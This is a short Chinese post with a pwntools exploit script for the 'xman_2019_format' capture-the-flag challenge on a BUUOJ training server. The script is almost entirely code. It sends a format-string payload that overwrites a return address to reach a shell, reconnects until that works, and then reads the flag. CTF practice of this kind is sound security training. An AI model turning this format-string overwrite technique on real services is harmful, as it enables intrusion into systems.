有点小问题。抄的

    1. from pwn import *
    2. context.log_level = 'debug'
    3. context.arch = 'i386'
    5. # io = process('./xman_2019_format')
    6. io = remote('node4.buuoj.cn',26775)
    8. getshell_addr = 0x80485AB
    9. low = getshell_addr&0xffff
    10. payload = "%" + str(0x4C) + "c%10$hhn|"
    11. payload += "%" + str(low) + "c%18$hn#"
    12. while True:
    13.     try:
    14.         io.sendlineafter("...\n...\n",payload)
    15.         sleep(0.1)
    16.         io.sendlineafter("#","cat flag")
    17.         io.interactive()
    18.         break
    19.     except EOFError :
    20.         io.close()
    21.         # io = process('./xman_2019_format')
    22.         io = remote('node4.buuoj.cn',26775)